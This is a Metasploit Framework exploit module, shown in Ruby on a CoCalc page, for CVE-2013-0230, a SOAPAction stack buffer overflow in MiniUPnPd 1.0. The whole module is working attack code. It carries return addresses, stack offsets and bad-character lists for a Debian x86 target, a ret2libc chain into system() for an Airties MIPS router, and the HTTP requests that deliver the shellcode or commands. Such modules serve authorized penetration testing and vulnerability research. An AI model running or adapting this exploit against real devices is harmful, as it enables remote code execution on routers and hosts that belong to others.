CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/upnp/miniupnpd_soap_bof.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
include Msf::Exploit::Remote::HttpClient
8
include Msf::Exploit::CmdStager
9
10
Rank = NormalRanking
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'MiniUPnPd 1.0 Stack Buffer Overflow Remote Code Execution',
15
'Description' => %q{
16
This module exploits the MiniUPnP 1.0 SOAP stack buffer overflow vulnerability
17
present in the SOAPAction HTTP header handling.
18
},
19
'Author' =>
20
[
21
'hdm', # Vulnerability discovery
22
'Dejan Lukan', # Metasploit module, debian target
23
'Onur ALANBEL', # Expliot for Airties target
24
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module, Airties target
25
],
26
'License' => MSF_LICENSE,
27
'DefaultOptions' => { 'EXITFUNC' => 'process', },
28
'Platform' => 'linux',
29
'Arch' => [ARCH_X86, ARCH_MIPSBE],
30
'References' =>
31
[
32
[ 'CVE', '2013-0230' ],
33
[ 'OSVDB', '89624' ],
34
[ 'BID', '57608' ],
35
[ 'URL', 'https://www.rapid7.com/blog/post/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play']
36
],
37
'Payload' =>
38
{
39
'DisableNops' => true
40
},
41
'Targets' =>
42
[
43
[ 'Debian GNU/Linux 6.0 / MiniUPnPd 1.0',
44
{
45
'Ret' => 0x0804ee43, # pop ebp # ret # from miniupnpd
46
'Offset' => 2123,
47
'Arch' => ARCH_X86,
48
# the byte '\x22' is the '"' character and the miniupnpd scans for that character in the
49
# input, which is why it can't be part of the shellcode (otherwise the vulnerable part
50
# of the program is never reached)
51
'Payload' =>
52
{
53
'Space' => 2060,
54
'BadChars' => "\x00\x22"
55
},
56
:callback => :target_debian
57
}
58
],
59
[ 'Airties RT-212 v1.2.0.23 / MiniUPnPd 1.0',
60
{
61
'Offset' => 2048,
62
'LibcBase' => 0x2aabd000,
63
'System' => 0x00031AC0,
64
'CallSystem' => 0x0001CC94, # prepare $a0 and jump to $s0
65
'Fingerprint' => 'AirTies/ASP 1.0 UPnP/1.0 miniupnpd/1.0',
66
'Arch' => ARCH_MIPSBE,
67
:callback => :target_airties
68
}
69
]
70
],
71
'DefaultTarget' => 0,
72
'Privileged' => false,
73
'DisclosureDate' => '2013-03-27',
74
))
75
76
register_options([
77
Opt::RPORT(5555),
78
])
79
80
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
81
end
82
83
def check
84
begin
85
res = send_request_cgi({
86
'method' => 'POST',
87
'uri' => '/'
88
})
89
rescue ::Rex::ConnectionError
90
return Exploit::CheckCode::Safe
91
end
92
93
fingerprints = targets.collect { |t| t['Fingerprint'] }
94
fingerprints.delete(nil)
95
96
if res && fingerprints.include?(res.headers['Server'])
97
vprint_status("Fingerprint: #{res.headers['Server']}")
98
return Exploit::CheckCode::Detected
99
end
100
101
Exploit::CheckCode::Unknown
102
end
103
104
def exploit
105
unless self.respond_to?(target[:callback])
106
fail_with(Failure::BadConfig, 'Invalid target specified: no callback function defined')
107
end
108
109
self.send(target[:callback])
110
end
111
112
def target_debian
113
#
114
# Build the SOAP Exploit
115
#
116
# jmp 0x2d ; jump forward 0x2d bytes (jump right after the '#' char)
117
sploit = "\xeb\x2d"
118
119
# a valid action
120
sploit += "n:schemas-upnp-org:service:WANIPConnection:1#"
121
122
# payload
123
sploit += payload.encoded
124
125
# nops
126
sploit += rand_text(target['Offset'] - sploit.length - 16)
127
128
# overwrite registers on stack: the values are not used, so we can overwrite them with anything
129
sploit += rand_text(4) # overwrite EBX
130
sploit += rand_text(4) # overwrite ESI
131
sploit += rand_text(4) # overwrite EDI
132
sploit += rand_text(4) # overwrite EBP
133
134
# Overwrite EIP with addresss of "pop ebp, ret", because the second value on the
135
# stack points directly to the string after 'Soapaction: ', which is why we must
136
# throw the first value on the stack away, which we're doing with the pop ebp
137
# instruction. Then we're returning to the next value on the stack, which is
138
# exactly the address that we want.
139
sploit += [target.ret].pack('V')
140
141
# the ending " character is necessary for the vulnerability to be reached
142
sploit += "\""
143
144
# data sent in the POST body
145
data =
146
"<?xml version='1.0' encoding=\"UTF-8\"?>\r\n" +
147
"<SOAP-ENV:Envelope\r\n" +
148
" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" +
149
" xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" +
150
" xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\"\r\n" +
151
">\r\n" +
152
"<SOAP-ENV:Body>\r\n" +
153
"<ns1:action xmlns:ns1=\"urn:schemas-upnp-org:service:WANIPConnection:1\" SOAP-ENC:root=\"1\">\r\n" +
154
"</ns1:action>\r\n" +
155
"</SOAP-ENV:Body>\r\n" +
156
"</SOAP-ENV:Envelope>\r\n"
157
158
#
159
# Build and send the HTTP request
160
#
161
print_status("Sending exploit to victim #{target.name}...")
162
send_request_cgi({
163
'method' => 'POST',
164
'uri' => "/",
165
'headers' => {
166
'SOAPAction' => sploit,
167
},
168
'data' => data,
169
})
170
171
# disconnect from the server
172
disconnect
173
end
174
175
def target_airties
176
print_status("Sending exploit to victim #{target.name}...")
177
execute_cmdstager(
178
:flavor => :echo
179
)
180
end
181
182
def execute_command(cmd, opts)
183
# Build the SOAP Exploit
184
# a valid action
185
sploit = "n:schemas-upnp-org:service:WANIPConnection:1#"
186
sploit << rand_text_alpha_upper(target['Offset'])
187
sploit << [target['LibcBase'] + target['System']].pack("N") # s0 - address of system
188
sploit << rand_text_alpha_upper(24) # $s1 - $s6
189
sploit << [target['LibcBase'] + target['CallSystem']].pack("N")
190
# 0001CC94 addiu $a0, $sp, 0x18
191
# 0001CC98 move $t9, $s0
192
# 0001CC9C jalr $t9
193
# 0001CCA0 li $a1, 1
194
195
sploit << rand_text_alpha_upper(24) #filler
196
sploit << cmd
197
198
# data sent in the POST body
199
data =
200
"<?xml version='1.0' encoding=\"UTF-8\"?>\r\n" +
201
"<SOAP-ENV:Envelope\r\n" +
202
" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" +
203
" xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" +
204
" xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\"\r\n" +
205
">\r\n" +
206
"<SOAP-ENV:Body>\r\n" +
207
"<ns1:action xmlns:ns1=\"urn:schemas-upnp-org:service:WANIPConnection:1\" SOAP-ENC:root=\"1\">\r\n" +
208
"</ns1:action>\r\n" +
209
"</SOAP-ENV:Body>\r\n" +
210
"</SOAP-ENV:Envelope>\r\n"
211
212
send_request_cgi({
213
'method' => 'POST',
214
'uri' => '/',
215
'headers' =>
216
{
217
'SOAPAction' => sploit,
218
},
219
'data' => data
220
})
221
end
222
end
223
224